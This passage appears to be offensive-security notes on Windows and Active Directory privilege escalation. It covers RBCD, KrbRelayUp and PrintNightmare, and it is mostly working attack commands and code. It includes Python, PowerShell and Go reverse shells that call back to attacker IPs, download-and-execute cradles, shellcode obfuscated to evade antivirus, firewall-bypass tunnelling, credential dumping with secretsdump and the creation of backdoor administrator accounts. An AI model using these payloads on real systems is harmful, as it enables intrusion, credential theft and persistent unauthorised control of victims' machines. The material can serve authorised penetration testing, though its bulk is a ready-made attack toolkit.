NL=os.linesep.encode();os.write(p.stdin.fileno(),b"\$OutputEncoding = [console]::InputEncoding = [console]::OutputEncoding = New-Object System.Text.UTF8Encoding ;cd /users;powershell;exit; "+NL)
time.sleep(1);os.read(p.stdout.fileno(),1024);os.write(p.stdin.fileno(),NL+b"ls"+NL)
threading.Thread(target=exec,args=('while(True):o=os.read(p.stdout.fileno(),1024);s.send(o);time.sleep(0.01)',globals()),daemon=True).start();
threading.Thread(target=exec,args=('while(True):i=s.recv(1024);os.write(p.stdin.fileno(),i);time.sleep(0.01)',globals()),daemon=True).start();
while p.poll() is None: time.sleep(1)
s.send(b"Quitting..."+NL);s.shutdown()
"""
import subprocess as sp,sys
flags = 0
flags |= 0x00000008  # DETACHED_PROCESS
flags |= 0x00000200  # CREATE_NEW_PROCESS_GROUP
p = sp.Popen([sys.executable, '-c', aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa], close_fds=True, creationflags=flags)
EOF

# Encode python payload
cat /var/www/html/payload| xxd -plain | tr -d '\n' | rev | sudo tee /var/www/html/payloadtmp >/dev/null
sudo mv /var/www/html/payloadtmp /var/www/html/payload

# Generating SweetPotato shellcode with donut
python3 -c "import donut; donut.create(file='$INPUT_FILE',output='/tmp/sc',params=bytes.fromhex('$(echo -n "$PARAMS" | xxd -plain | tr -d '\n')').decode('utf-8'))"
cat "/tmp/sc" | xxd -plain | tr -d '\n' | rev | gzip | sudo tee "/var/www/html/sc" >/dev/null

# Powershell script to call
cat <<EOF|sudo tee /var/www/html/start
\$Exists = Test-Path "$WRITABLEPATH\python\";If (\$Exists -eq \$False) {(New-Object Net.WebClient).DownloadFile("http://$IP/python.zip","$WRITABLEPATH\python.zip");Add-Type -assembly "system.io.compression.filesystem";[io.compression.zipfile]::ExtractToDirectory("$WRITABLEPATH\python.zip", "$WRITABLEPATH\python\")}
\$arguments = @("-c","""import urllib.request as r;exec(bytes.fromhex(r.urlopen('http://$IP/loadsc').read()[::-1].decode('utf-8')));load('http://$IP/sc')""")
Start-Process -NoNewWindow -FilePath "$WRITABLEPATH\python\python.exe" -ArgumentList \$arguments
EOF

# Wait for connection
sudo tail -n 0 -f /var/log/nginx/*.log &
sudo nc -nvlp $PORT -s $IP

IEX(New-Object Net.WebClient).downloadString("http://192.168.1.163/start")

ACLs (AD)

GenericAll-User

If you have GenericAll access on any user you can reset the password
net user robert FNUEOFNSIDsilfelifsef_1 /domain

RBCD LPE/RCE (AD)

RBCD attack rely on 4 domains accounts:
- Compromised account (ex: low privilege user, relayed computer/user)
- Compromised service account (ex: a new fake computer)
- Targeted service account (ex: targeted machine)
- Impersonated user account (ex: domain/Administrator)

RBCD steps:
- 1: Use “Compromised account” to create a new computer account in domain, that will be our “Compromised service account” (Optional if you already control a service account)
- 2: Use “Compromised account” write access to declare that “Compromised service account” can act on behalf of other identity for “Targeted service”
- 3: Use “Compromised service account” to ask for TGT, impersonating “Impersonated user” on “Targeted service” (S4U2Self + S4U2Proxy)
- 4: Use TGT on “Targeted service”

RBCD requirements:
- Compromised account have GenericWrite/GenericAll/WriteDacl/WriteOwner/Owns/WriteAccountRestrictions/AllowedToAct rights on targeted service account (ex: user that have GenericWrite access on targeted machine)
- If relaying step 1 & 2, LDAP signing must NOT be enforced (default setting).
- If you don’t already have compromised a service account you can create a new fake computer account, but MAQ domain attribute (“MS-DS-Machine-Account-Quota”) must be >0 (default setting is 10)
- Impersonated user must NOT be part of “protected users” group (except Administrator rid500 which isn’t affected)
- Impersonated user must NOT have the NOT_DELEGATED flag (“Account is sensitive and cannot be delegated” option)

crackmapexec ldap <dcip> -u user -p pass -M ldap-checker # Check if LDAP signing is enforced (if relaying)
crackmapexec ldap <dcip> -d domain -u user -p pass -M maq # Machine Account Quota

# Detect RBCD paths with Bloodhound
MATCH q=(u)-[:GenericWrite|GenericAll|WriteDacl|WriteOwner|Owns|WriteAccountRestrictions|AllowedToAct]->(:Computer) WHERE NOT u.objectid ENDS WITH "-512" AND NOT u.objectid ENDS WITH "-519" AND NOT u.objectid ENDS WITH "-544" AND NOT u.objectid ENDS WITH "-548" RETURN q

Here i’m using RBCD as LPE, i’m using chisel proxy to bypass FW on local target that doesn’t allow external connections, but you can use this as RCE as well.
You can skip this part if you don’t want proxy. I’m bypassing AV with python and a script named “loadsc”
# Run chisel server
docker run --name chisel --rm -d -p0.0.0.0:443:80 jpillora/chisel server --socks5 --reverse -v --auth bla:bla --port 80

# Prepare CHISEL shellcode
IP="192.168.1.163"
PORT="443"
SOCKS="5000"
PARAMS="client -v --auth bla:bla ${IP}:${PORT} R:0.0.0.0:${SOCKS}:socks"
python3 -c "import donut; donut.create(file='/var/www/html/chisel.exe',output='/tmp/chiselsc',params=bytes.fromhex('$(echo "$PARAMS" | tr -d '\n' | xxd -plain | tr -d '\n')').decode('utf-8'))"
cat /tmp/chiselsc | xxd -plain | tr -d '\n' | rev | gzip | sudo tee /var/www/html/chiselsc >/dev/null
echo -e '[ProxyList]\nsocks5 172.17.0.2 5000'>/tmp/TARGET1

# Powershell script to call
echo "\$ip=\"$IP\"" | sudo tee /var/www/html/startchisel
cat <<'EOF'|sudo tee -a /var/www/html/startchisel
$loadsc="http://$ip/loadsc"; $sc="http://$ip/chiselsc"
$python="http://$ip/python.zip"; $dir="$env:TEMP";$Exists = Test-Path "$dir\python\";If ($Exists -eq $False) {(New-Object Net.WebClient).DownloadFile($python ,"$dir\python.zip");Add-Type -assembly "system.io.compression.filesystem";[io.compression.zipfile]::ExtractToDirectory("$dir\python.zip", "$dir\python\")}
$arguments = @("-c","""import urllib.request as r;exec(bytes.fromhex(r.urlopen('$loadsc').read()[::-1].decode('utf-8')));load('$sc')""")
Start-Process -NoNewWindow -FilePath "$dir\python\python.exe" -ArgumentList $arguments
EOF

# IEX(New-Object Net.WebClient).downloadString('http://192.168.1.163/startchisel')

Settings vars
UNPRIVILEGED_USER="user" # (Domain user)
UNPRIVILEGED_USER_PASS="Testtesttest1!"

IMPERSONATED_USER="administrator" # Impersonated domain user
TARGET_MACHINE="DESKTOP-6495N20" # The machine you want access on
TARGET_MACHINE_IP="127.0.0.1" # If the proxy is on the targeted machine leave it to default "127.0.0.1"

DOMAIN="domain.local"
DC_NAME="WIN-SPQIBGNU0G1"
DC_IP="172.16.130.153"

PROXY='proxychains -q -f /tmp/TARGET1'

NEW_MACHINE_NAME='FIOEJIOFJIFEIE' # 15 characters MAX
NEW_MACHINE_PASS='a1_FMEROGKIOJCVIODVHDSHFIOEJFI'

Exploit
# Move to a new dir
cd $(mktemp -d)

# Read the attributes of targeted machine (INFO)
$PROXY rbcd.py -delegate-to "$TARGET_MACHINE\$" -dc-ip "$DC_IP" -action 'read' "$DOMAIN"/"$UNPRIVILEGED_USER":"$UNPRIVILEGED_USER_PASS"

# Add a new computer to domain
$PROXY addcomputer.py -computer-name "$NEW_MACHINE_NAME\$" -computer-pass "$NEW_MACHINE_PASS" -dc-ip "$DC_IP" -dc-host "$DC_NAME.$DOMAIN" "$DOMAIN"/"$UNPRIVILEGED_USER":"$UNPRIVILEGED_USER_PASS"

# Update msDS-AllowedToActOnBehalfOfOtherIdentity attribute of targeted machine
$PROXY rbcd.py -delegate-to "$TARGET_MACHINE\$" -delegate-from "$NEW_MACHINE_NAME\$" -dc-ip "$DC_IP" -action 'write' "$DOMAIN"/"$UNPRIVILEGED_USER":"$UNPRIVILEGED_USER_PASS"

# Retrieve TGT for targeted machine with impersonated user, using the new computer account. (S4U2Self + S4U2Proxy)
$PROXY getST.py -spn "CIFS/$TARGET_MACHINE.$DOMAIN" -impersonate "$IMPERSONATED_USER" -dc-ip "$DC_IP" "$DOMAIN"/"$NEW_MACHINE_NAME\$":"$NEW_MACHINE_PASS"

# Read TGT
mv *.ccache "$IMPERSONATED_USER.ccache"
export KRB5CCNAME="$(pwd)/$IMPERSONATED_USER.ccache"
klist "$KRB5CCNAME"

Use TGT
# Use Kerberos ticket
$PROXY secretsdump.py -k "$TARGET_MACHINE.$DOMAIN" -target-ip "$TARGET_MACHINE_IP" -history
$PROXY wmiexec.py -k "$TARGET_MACHINE.$DOMAIN" 'powershell.exe "whoami /all"'
$PROXY wmiexec.py -k "$TARGET_MACHINE.$DOMAIN" 'whoami /all' -shell-type powershell # Not the best for AV bypass
$PROXY wmiexec.py -k "$TARGET_MACHINE.$DOMAIN" "net localgroup Administrators /add $DOMAIN\\$UNPRIVILEGED_USER" # EN
$PROXY wmiexec.py -k "$TARGET_MACHINE.$DOMAIN" "net localgroup Administrateurs /add $DOMAIN\\$UNPRIVILEGED_USER" # FR

# Reverse Shell
IP="192.168.1.163"
PORT=53

echo "\$ip=\"$IP\"; \$port=$PORT;" | sudo tee /var/www/html/rs
cat <<'EOF'| sudo tee -a /var/www/html/rs
$process="powershell.exe"; $python="http://$ip/python.zip"; $dir="$env:TEMP";$Exists = Test-Path "$dir\python\";If ($Exists -eq $False) {(New-Object Net.WebClient).DownloadFile($python ,"$dir\python.zip");Add-Type -assembly "system.io.compression.filesystem";[io.compression.zipfile]::ExtractToDirectory("$dir\python.zip", "$dir\python\")};
$arguments=@("-c","""import time,socket,os,threading,subprocess as sp;p=sp.Popen(['$process'],stdin=sp.PIPE,stdout=sp.PIPE,stderr=sp.STDOUT);s=socket.socket();s.connect(('$ip',$port));threading.Thread(target=exec,args=('while(True):o=os.read(p.stdout.fileno(),1024);s.send(o);time.sleep(0.01)',globals()),daemon=True).start();threading.Thread(target=exec,args=('while(True):i=s.recv(1024);os.write(p.stdin.fileno(),i);time.sleep(0.01)',globals())).start()""");
Start-Process -NoNewWindow -FilePath "$dir\python\python.exe" -ArgumentList $arguments;
EOF

# Wait for connection
tail -n 0 -f /var/log/nginx/*.log &
sudo nc -nvlp $PORT -s $IP

CMD="IEX(New-Object Net.WebClient).downloadString('http://$IP/rs');"
$PROXY wmiexec.py -k "$TARGET_MACHINE.$DOMAIN" "powershell \"$CMD\"" -nooutput -silentcommand

CLEANUP (..you probably won’t have the rights to delete the computer)
$PROXY rbcd.py -delegate-to "$TARGET_MACHINE\$" -delegate-from "$NEW_MACHINE_NAME\$" -dc-ip "$DC_IP" -action 'flush' "$DOMAIN"/"$UNPRIVILEGED_USER":"$UNPRIVILEGED_USER_PASS"
$PROXY addcomputer.py -computer-name "$NEW_MACHINE_NAME\$" -computer-pass "$NEW_MACHINE_PASS" -dc-ip "$DC_IP" -dc-host "$DC_NAME.$DOMAIN" "$DOMAIN"/"$UNPRIVILEGED_USER":"$UNPRIVILEGED_USER_PASS" -delete

RBCD KrbRelayUp LPE (AD)

KrbRelayUp.exe is a collection of tools that aim to leverage security issues in Windows Active Directory configuration/infrastructure to perform LPE.
KrbRelayUp have 3 differents methods/path to perform LPE: SHADOWCRED, ADCS and RBCD.
SHADOWCRED and ADCS are based on ADCS presence, but we are using RBCD here.

Requirements for this attack:
Unprivileged user must have a Write access on machine
LDAP signing must NOT be enforced (default setting).
“MS-DS-Machine-Account-Quota” domain attribute must be >0 (default setting is 10)
Impersonated user must NOT be part of “protected users” group
Impersonated user must NOT have the NOT_DELEGATED flag

Ensure LDAP signing is not enforced on client side (0:disabled, 1:optionnal, 2:enforced)
Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Services\ldap' | Select-Object -ExpandProperty LdapClientIntegrity

Let’s get started by serving KrbRelayUp.exe
sudo wget https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/KrbRelayUp.exe -O /var/www/html/KrbRelayUp.exe
Then, run the relay phase
(New-Object System.Net.WebClient).DownloadFile('http://1.2.3.4/KrbRelayUp.exe', "$home\Documents\KrbRelayUp.exe")
&$home\Documents\KrbRelayUp.exe relay -cls '000C101C-0000-0000-C000-000000000046' -p 8889 -v -d domain.com -CreateNewComputerAccount -cn evilfakehost -cp BeepBoop_7 -dc DC01 2>&1
Sometime you need to pick another CLSID or run GetCLSID.ps1 on target to retrieve all available CLSID (some on them don’t work)
WinServer2022: “000C101C-0000-0000-C000-000000000046” (MSIServer)
this CLSID is also present in W7,8,10*,2008,2012,2016
Once relay phase is completed, we can proceed with the spawn phase.
For this step i’m using a powershell payload to add a new administrator, and i’m wrapping it into a golang executable
cat <<'EOF'>/tmp/payload.ps1
net user hackerbeepboop Blabliblou_1 /ADD ; net localgroup Administrators hackerbeepboop /ADD ; net localgroup "Remote Desktop Users" hackerbeepboop /ADD
EOF
cat <<EOF>/tmp/beepboop.go
package main
import ("os/exec";"fmt";"log")
func main() {
    cmd := exec.Command("powershell.exe","-NoProfile","-NonInteractive","-EncodedCommand","$(cat /tmp/payload.ps1 | iconv -f UTF8 -t UTF16LE | base64 -w0)")
    out, err := cmd.Output()
    if err != nil {log.Fatal(err)} else {fmt.Printf("%s",out)}
}
EOF
env GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -ldflags "-s -w" -o /tmp/beepboop.exe /tmp/beepboop.go
chmod 644 /tmp/beepboop.exe && sudo mv /tmp/beepboop.exe /var/www/html/
Next, call KrbRelayUp.exe to perform the spawn step
(New-Object System.Net.WebClient).DownloadFile('http://1.2.3.4/beepboop.exe', "$home\Documents\beepboop.exe")
&$home\Documents\KrbRelayUp.exe spawn -d domain.com -cn evilfakehost$ -cp BeepBoop_7 -dc DC01 -sc "$home\Documents\beepboop.exe" 2>&1

PrintNightmare LPE

KB : KB5004945 06 July 2021
We make use of a golang dll payload
cat <<'EOF'| tee /tmp/reverse.go
package main

import (
    "bufio"
    "net"
    "os/exec"
    "strings"
)

// DLL
func init() {
    main()
}

func main() {
    conn, _ := net.Dial("tcp", "192.168.45.178:4445")
    for {
    f, _ := bufio.NewReader(conn).ReadString('\n')
    g := strings.TrimSuffix(f, "\n")
    h, i, _ := strings.Cut(g, "~")
    cmd := exec.Command(h, i)
    cmd.Stdin, cmd.Stdout, cmd.Stderr = conn, conn, conn
    cmd.Run()
    }
}
EOF
env GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -ldflags="-s -w" -buildmode=c-shared -o /tmp/reverse.dll /tmp/reverse.go
sudo wget https://dl.offensive.run/SharpPrintNightmare.exe -O /var/www/html/SharpPrintNightmare.exe
sudo cp /tmp/reverse.dll /var/www/html/
nc -nvlp 4445
cd C:\users\any\
wget http://192.168.45.111/SharpPrintNightmare.exe -O SharpPrintNightmare.exe
wget http://192.168.45.111/reverse.dll -O reverse.dll
.\SharpPrintNightmare.exe C:\users\any\reverse.dll